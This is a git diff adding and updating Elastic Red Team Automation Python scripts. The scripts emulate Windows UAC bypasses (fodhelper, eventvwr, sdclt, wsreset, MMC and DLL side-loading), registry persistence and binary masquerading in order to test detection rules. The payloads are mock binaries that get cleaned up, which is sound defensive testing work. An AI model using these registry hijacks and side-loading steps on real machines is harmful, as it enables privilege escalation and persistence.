common.copy_file(EXE_FILE, dism) + common.copy_file(EXE_FILE, dllhost) + common.copy_file(EXE_FILE, dccwpathdll) + + common.execute([dllhost, "/c", f"Rename-Item {dccwpathdll} {dccwpathdll2}"], timeout=10) + common.execute([dism, "/c", powershell], timeout=2, kill=True) + common.remove_files(dism, dllhost, dccwpathdll2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_eventviewer.py b/rta/uac_eventviewer.py index 51cc81e03..33e216b87 100644 --- a/rta/uac_eventviewer.py +++ b/rta/uac_eventviewer.py @@ -12,6 +12,16 @@ import sys import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="1185afa2-49aa-4cca-8702-228d238c0bd5", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "31b4c719-f2b4-41f6-a9bd-fce93c2eaf62", "rule_name": "Bypass UAC via Event Viewer"}], + techniques=["T1548"], +) # Default machine value: @@ -19,7 +29,7 @@ from . import common # %SystemRoot%\system32\mmc.exe "%1" %* -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(target_file=common.get_path("bin", "myapp.exe")): winreg = common.get_winreg() common.log("Bypass UAC with %s" % target_file) @@ -33,7 +43,7 @@ def main(target_file=common.get_path("bin", "myapp.exe")): time.sleep(3) common.log("Killing MMC", log_type="!") - common.execute(['taskkill', '/f', '/im', 'mmc.exe']) + common.execute(["taskkill", "/f", "/im", "mmc.exe"]) common.log("Restoring registry key", log_type="-") winreg.DeleteValue(hkey, "") diff --git a/rta/uac_eventvwr.py b/rta/uac_eventvwr.py new file mode 100644 index 000000000..6c5bfa9cc --- /dev/null +++ b/rta/uac_eventvwr.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="7396debc-65ce-488f-845e-f92e68aceeb1", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "UAC Bypass via Event Viewer", "rule_id": "ab29a79a-b3c2-4ae4-9670-70dd0ea68a4a"}, + ], + siem=[], + techniques=["T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + eventvwr = "C:\\Users\\Public\\eventvwr.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, eventvwr) + + common.execute([eventvwr, "/c", powershell], timeout=2, kill=True) + common.remove_files(eventvwr) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_fodhelper.py b/rta/uac_fodhelper.py new file mode 100644 index 000000000..86fe0f002 --- /dev/null +++ b/rta/uac_fodhelper.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a67586fd-cceb-4fb9-bf0e-d355b9e8921a", + platforms=["windows"], + endpoint=[ + {"rule_name": "UAC Bypass via FodHelper Execution Hijack", "rule_id": "b5c0058e-2bca-4ed5-84b3-4e017c039c57"} + ], + siem=[], + techniques=["T1548"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + key = "Software\\Classes\\ms-settings\\shell\\open\\command" + value = "test" + data = "test" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + fodhelper = "C:\\Users\\Public\\fodhelper.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, fodhelper) + + common.execute([fodhelper, "/c", powershell], timeout=2, kill=True) + common.remove_file(fodhelper) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_icmluautil.py b/rta/uac_icmluautil.py new file mode 100644 index 000000000..6605c6fc2 --- /dev/null +++ b/rta/uac_icmluautil.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e0e95f35-173d-4545-a1cc-ee35ee1d89b1", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass via ICMLuaUtil Elevated COM Interface", + "rule_id": "13fab475-06e4-4ac9-87fc-2105c7441244", + }, + ], + siem=[], + techniques=["T1055", "T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + dllhost = "C:\\Users\\Public\\dllhost.exe" + common.copy_file(EXE_FILE, dllhost) + + common.execute( + [dllhost, "/c", "echo 3E5FC7F9-9A51-4367-9063-A120244FBEC7; powershell"], + timeout=2, + kill=True, + ) + common.remove_file(dllhost) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_mmc_deserialization.py b/rta/uac_mmc_deserialization.py new file mode 100644 index 000000000..219617c1d --- /dev/null +++ b/rta/uac_mmc_deserialization.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + + +metadata = RtaMetadata( + uuid="1d486055-38f8-4cf3-aec1-7f4f72d73fb2", + platforms=["windows"], + endpoint=[ + { + "rule_name": "UAC Bypass via Unsafe Deserialization in Event Viewer", + "rule_id": "df7e55c9-cd36-4e33-9e82-3a54b9c84495", + } + ], + siem=[], + techniques=["T1548"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + appdata = os.getenv("LOCALAPPDATA") + path = appdata + "\\Microsoft\\Event Viewer" + recentfiles = path + "\\RecentViews" + + if os.path.exists(path): + common.copy_file(EXE_FILE, recentfiles) + common.remove_file(recentfiles) + else: + os.mkdir(path) + common.copy_file(EXE_FILE, recentfiles) + common.remove_file(recentfiles) + os.rmdir(path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_mmc_hijack.py b/rta/uac_mmc_hijack.py new file mode 100644 index 000000000..7cbff6458 --- /dev/null +++ b/rta/uac_mmc_hijack.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="99d89d71-4025-481d-80f9-efb795beca29", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass via Malicious MMC Snap-In Execution", + "rule_id": "ccdf56a8-697b-497c-ab90-3aa01bfc5f9f", + }, + ], + siem=[], + techniques=["T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + mmc = "C:\\Users\\Public\\mmc.exe" + msc = "C:\\Users\\Public\\a.msc" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, mmc) + common.copy_file(EXE_FILE, msc) + + common.execute([mmc, "/c", "echo", "a.msc b.msc"], timeout=2, kill=True) + common.execute([mmc, "/c", powershell], timeout=2, kill=True) + common.remove_files(mmc, msc) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_mmc_net_core_profiler.py b/rta/uac_mmc_net_core_profiler.py new file mode 100644 index 000000000..86f572004 --- /dev/null +++ b/rta/uac_mmc_net_core_profiler.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="33f20563-7d1b-46a4-8644-a563f2488120", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass Attempt via MMC DLL Search Order Hijacking", + "rule_id": "28996098-b9be-4aa8-a1f3-4923c84b2649", + }, + ], + siem=[], + techniques=["T1574", "T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + key = "Environment" + value = "COR_PROFILER_PATH" + data = "temp.dll" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + mmc = "C:\\Users\\Public\\mmc.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, mmc) + + common.execute([mmc, "/c", powershell], timeout=2, kill=True) + common.remove_files(mmc) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_sdclt.py b/rta/uac_sdclt.py index 02360aa67..309be5580 100644 --- a/rta/uac_sdclt.py +++ b/rta/uac_sdclt.py @@ -3,40 +3,32 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -# Name: Bypass UAC via Sdclt -# RTA: uac_sdclt.py -# ATT&CK: T1088 -# Description: Modifies the Registry to auto-elevate and execute mock malware. - -import os -import sys -import time - from . import common +from . import RtaMetadata -# HKCU:\Software\Classes\exefile\shell\runas\command value: IsolatedCommand -# "sdclt.exe /KickOffElev" or children of sdclt.exe -# HKLM value: "%1" %* +metadata = RtaMetadata( + uuid="7d1ca1a2-be0e-4cd8-944f-2da2fc625468", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "UAC Bypass via Sdclt", "rule_id": "e9095298-65e0-40a2-97c9-055de8685645"}, + ], + siem=[], + techniques=["T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") -@common.requires_os(common.WINDOWS) -def main(target_process=common.get_path("bin", "myapp.exe")): - target_process = os.path.abspath(target_process) +@common.requires_os(metadata.platforms) +def main(): + sdclt = "C:\\Users\\Public\\sdclt.exe" + common.copy_file(EXE_FILE, sdclt) - common.log("Bypass UAC via Sdclt to run %s" % target_process) - - key = "Software\\Classes\\exefile\\shell\\runas\\command" - value = "IsolatedCommand" - - with common.temporary_reg(common.HKCU, key, value, target_process): - common.log("Running Sdclt to bypass UAC") - common.execute([r"c:\windows\system32\sdclt.exe", "/KickOffElev"]) - - time.sleep(2) - common.log("Killing the Windows Backup program sdclt", log_type="!") - common.execute(['taskkill', '/f', '/im', 'sdclt.exe']) + common.execute([sdclt, "/c", "echo", "/kickoffelev; powershell"], timeout=2, kill=True) + common.remove_files(sdclt) if __name__ == "__main__": - exit(main(*sys.argv[1:])) + exit(main()) diff --git a/rta/uac_sysprep.py b/rta/uac_sysprep.py index 5a4784880..55a674a67 100644 --- a/rta/uac_sysprep.py +++ b/rta/uac_sysprep.py @@ -10,13 +10,20 @@ from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="72e0a6ca-5b2d-48f6-9d6f-a879ace9cdae", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Bypass UAC with CRYPTBASE.dll") - common.copy_file("C:\\windows\\system32\\kernel32.dll", "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL") + common.copy_file( + "C:\\windows\\system32\\kernel32.dll", + "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL", + ) common.execute(["C:\\Windows\\system32\sysprep\\sysprep.exe"], timeout=5, kill=True) common.remove_file("C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL") diff --git a/rta/uac_windows_activation.py b/rta/uac_windows_activation.py new file mode 100644 index 000000000..2bb11917e --- /dev/null +++ b/rta/uac_windows_activation.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="9643aa7f-fe2e-46f1-b3ef-8cf07b5aaaa0", + platforms=["windows"], + endpoint=[ + { + "rule_name": "UAC Bypass via Windows Activation Execution Hijack", + "rule_id": "71ad1420-ed83-46d0-835b-63d4b2008427", + } + ], + siem=[], + techniques=["T1548"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + key = "Software\\Classes\\Launcher.SystemSettings\\shell\\open\\command" + value = "test" + data = "test" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + changepk = "C:\\Users\\Public\\changepk.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, changepk) + + common.execute([changepk, "/c", powershell], timeout=2, kill=True) + common.remove_file(changepk) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_winfw_mmc.py b/rta/uac_winfw_mmc.py new file mode 100644 index 000000000..19ecc4e48 --- /dev/null +++ b/rta/uac_winfw_mmc.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2f19d0f2-64cb-41db-81e6-da06f9e83bcb", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass via Windows Firewall Snap-In Hijack", + "rule_id": "65f52068-4d08-41af-9fd7-0c1a4f732494", + }, + ], + siem=[], + techniques=["T1574", "T1055", "T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + mmc = "C:\\Users\\Public\\mmc.exe" + dllhost = "C:\\Users\\Public\\dllhost.exe" + dccwpathdll = "C:\\Windows\\assembly\\temp\\a.dll" + dccwpathdll2 = "C:\\Windows\\assembly\\temp\\Accessibility.ni.dll" + common.copy_file(EXE_FILE, mmc) + common.copy_file(EXE_FILE, dllhost) + + common.copy_file(EXE_FILE, dccwpathdll) + common.execute([dllhost, "/c", f"Rename-Item {dccwpathdll} {dccwpathdll2}"], timeout=10) + common.execute([mmc, "/c", "echo", "WF.msc", ";powershell"], timeout=2, kill=True) + common.remove_files(mmc, dllhost, dccwpathdll2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_wow64log.py b/rta/uac_wow64log.py new file mode 100644 index 000000000..9fa0ec345 --- /dev/null +++ b/rta/uac_wow64log.py @@ -0,0 +1,51 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ab957b94-2c39-49dd-93cf-f1e40394ff1b", + platforms=["windows"], + endpoint=[ + { + "rule_name": "UAC Bypass Attempt via WOW64 Logger DLL Side-Loading", + "rule_id": "28a39a43-e850-4941-8605-ffa23dcfd25a", + } + ], + siem=[], + techniques=["T1574", "T1548"], +) + +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\wow64log.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + common.log("Modifying the OriginalFileName attribute to invalidate the signature") + common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "wow64log.dll"]) + + common.log("Loading wow64log.dll and spawning a high integrity process") + common.execute( + [powershell, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}; powershell"], + timeout=10, + ) + + common.remove_files(dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_wsreset.py b/rta/uac_wsreset.py new file mode 100644 index 000000000..8f8e8d8e0 --- /dev/null +++ b/rta/uac_wsreset.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e8612e97-2df7-4e85-94ee-e61bc58c6479", + platforms=["windows"], + endpoint=[ + {"rule_name": "UAC Bypass via WSReset Execution Hijack", "rule_id": "11c67af9-9599-4800-9e84-bd38f2a51581"} + ], + siem=[], + techniques=["T1548"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + key = "Software" + value = "ms-windows-store" + data = "test" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + wsreset = "C:\\Users\\Public\\wsreset.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, wsreset) + + common.execute([wsreset, "/c", powershell], timeout=2, kill=True) + common.remove_file(wsreset) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uncommon_persistence.py b/rta/uncommon_persistence.py index 6d48c1592..9fe003281 100644 --- a/rta/uncommon_persistence.py +++ b/rta/uncommon_persistence.py @@ -11,10 +11,21 @@ import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ca020d7f-f495-4f0a-a808-da615f3409b4", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "97fc44d3-8dae-4019-ae83-298c3015600f", "rule_name": "Startup or Run Key Registry Modification"}], + techniques=["T1547"], +) + # There are many unconventional ways to leverage the Registry for persistence: -''' +""" key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*" or key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runonce\\*" or key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load" or @@ -54,13 +65,16 @@ key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\AppCertDlls\\*" o key_path == "*\\System\\ControlSet*\\Control\\BootVerificationProgram\\ImagePath" or key_path == "*\\System\\Setup\\CmdLine" ) -''' # noqa: E501 +""" # noqa: E501 -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(target="calc.exe"): winreg = common.get_winreg() - hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") + hkey = winreg.CreateKey( + winreg.HKEY_CURRENT_USER, + "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", + ) common.log("Setting reg key") winreg.SetValueEx(hkey, "Userinit", 0, winreg.REG_SZ, target) diff --git a/rta/unsigned_startup_item_netconn.py b/rta/unsigned_startup_item_netconn.py new file mode 100644 index 000000000..d180a7039 --- /dev/null +++ b/rta/unsigned_startup_item_netconn.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="245fcf03-6df8-4731-af94-f2ba4ed60670", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Unusual File Written or Modified in Startup Folder", + "rule_id": "30a90136-7831-41c3-a2aa-1a303c1186ac", + }, + {"rule_name": "Network Connection via Startup Item", "rule_id": "0b33141a-3f73-4414-ba90-d8410e6ab176"}, + ], + siem=[], + techniques=["T1547", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\posh.exe" + common.copy_file(EXE_FILE, posh) + + common.execute( + [ + posh, + "/c", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "445", + ], + timeout=10, + ) + common.remove_files(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/unusual_kerberos_client.py b/rta/unusual_kerberos_client.py new file mode 100644 index 000000000..a43e2633d --- /dev/null +++ b/rta/unusual_kerberos_client.py @@ -0,0 +1,72 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="78e59247-db65-412a-898c-2e757d695851", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Suspicious Directory", "rule_id": "9ba39516-651e-489f-8b6a-f5501e0c492d"}, + { + "rule_name": "Executable File Creation Followed by Immediate Network Connection", + "rule_id": "8d11d741-7a06-41a1-a525-feaaa07ebbae", + }, + {"rule_name": "Unusual Kerberos Client Process", "rule_id": "b5c91c3e-9d2d-4df6-afb7-c9d236b5ebe2"}, + ], + siem=[], + techniques=["T1558", "T1204", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\System.DirectoryServices.Protocols.test.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, posh) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + common.log("Modifying the OriginalFileName attribute") + common.execute( + [ + rcedit, + dll, + "--set-version-string", + "OriginalFilename", + "System.DirectoryServices.Protocols.test.dll", + ] + ) + + common.log("Loading System.DirectoryServices.Protocols.test.dll") + common.execute( + [ + posh, + "-c", + f"Import-Module {ps1}; Invoke-ImageLoad {dll};", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "88", + ], + timeout=10, + ) + + common.remove_files(posh, dll, ps1) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/unusual_ms_tool_network.py b/rta/unusual_ms_tool_network.py index 3c28d4242..c94443c32 100644 --- a/rta/unusual_ms_tool_network.py +++ b/rta/unusual_ms_tool_network.py @@ -14,12 +14,29 @@ import shutil import sys from . import common +from . import RtaMetadata if sys.version_info > (3,): urlliblib = "urllib.request" else: urlliblib = "urllib" + +metadata = RtaMetadata( + uuid="cf94f5cc-5265-4287-80e5-82d9663ecf2e", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", + "rule_name": "Unusual Network Activity from a Windows System Binary", + }, + {"rule_id": "610949a1-312f-4e04-bb55-3a79b8c95267", "rule_name": "Unusual Process Network Connection"}, + ], + techniques=["T1127"], +) + + process_names = [ "bginfo.exe", "msdt.exe", @@ -31,7 +48,7 @@ process_names = [ "cmstp.exe", "xwizard.exe", "fsi.exe", - "odbcconf.exe" + "odbcconf.exe", ] @@ -39,11 +56,17 @@ def http_from_process(name, ip, port): path = os.path.join(common.BASE_DIR, name) common.log("Making HTTP GET from %s" % path) shutil.copy(sys.executable, path) - common.execute([path, "-c", "from %s import urlopen ; urlopen('http://%s:%d')" % (urlliblib, ip, port)]) + common.execute( + [ + path, + "-c", + "from %s import urlopen ; urlopen('http://%s:%d')" % (urlliblib, ip, port), + ] + ) common.remove_file(path) -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(): server, ip, port = common.serve_web() diff --git a/rta/unusual_parent_child.py b/rta/unusual_parent_child.py index 187f20022..160a378c7 100644 --- a/rta/unusual_parent_child.py +++ b/rta/unusual_parent_child.py @@ -13,9 +13,19 @@ import os import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="6cf12026-f99f-4e5c-8cd4-3dbc7bce3e67", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "35df0dd8-092d-4a83-88c1-5151a804f31b", "rule_name": "Unusual Parent-Child Relationship"}], + techniques=["T1055"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Running Windows processes with an unexpected parent of %s" % os.path.basename(sys.executable)) process_names = [ diff --git a/rta/unusual_powershell_engine_image_load.py b/rta/unusual_powershell_engine_image_load.py new file mode 100644 index 000000000..b6ac4ac2a --- /dev/null +++ b/rta/unusual_powershell_engine_image_load.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a5d82c62-6d4e-4d31-94f2-a996c9613604", + platforms=["windows"], + endpoint=[{"rule_name": "Unusual PowerShell Engine ImageLoad", "rule_id": "f57505bb-a1d2-4d3b-b7b5-1d81d7bdb80e"}], + siem=[], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + posh = "C:\\Windows\\System32\\posh.exe" + common.copy_file(powershell, posh) + + common.log("Executing renamed powershell on system32 folder") + common.execute([posh, "-c", "echo RTA"], timeout=10) + common.remove_files(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/unusual_rdp_client.py b/rta/unusual_rdp_client.py new file mode 100644 index 000000000..42db9adc4 --- /dev/null +++ b/rta/unusual_rdp_client.py @@ -0,0 +1,53 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d3c0c965-3167-4fe3-8aee-a9f101766b5a", + platforms=["windows"], + endpoint=[ + {"rule_name": "Unusual Remote Desktop Client Process", "rule_id": "d448566e-486f-4b61-a76f-945662313d49"} + ], + siem=[], + techniques=["T1021"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + posh = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\posh.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\mstscax.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + common.copy_file(user32, dll) + common.copy_file(powershell, posh) + common.copy_file(PS1_FILE, ps1) + + common.log("Loading mstscax.dll into posh") + common.execute( + [ + posh, + "-c", + f"Import-Module {ps1}; Invoke-ImageLoad {dll};", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "3389", + ], + timeout=10, + ) + common.remove_files(dll, ps1, posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/user_action_script.py b/rta/user_action_script.py new file mode 100644 index 000000000..a4b8fab4c --- /dev/null +++ b/rta/user_action_script.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4e63cb99-b56d-4c75-9cda-3a7f30861d35", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Persistence via Folder Action Script", "rule_id": "c292fa52-4115-408a-b897-e14f684b3cb7"}], + techniques=["T1037", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/com.apple.foundation.UserScriptService" + masquerade2 = "/tmp/osascript" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + # Execute command + common.log("Launching fake commands to mimic modification of a Folder Action script") + common.execute([masquerade, "childprocess", masquerade2], timeout=1, kill=True) + + # cleanup + common.remove_file(masquerade) + 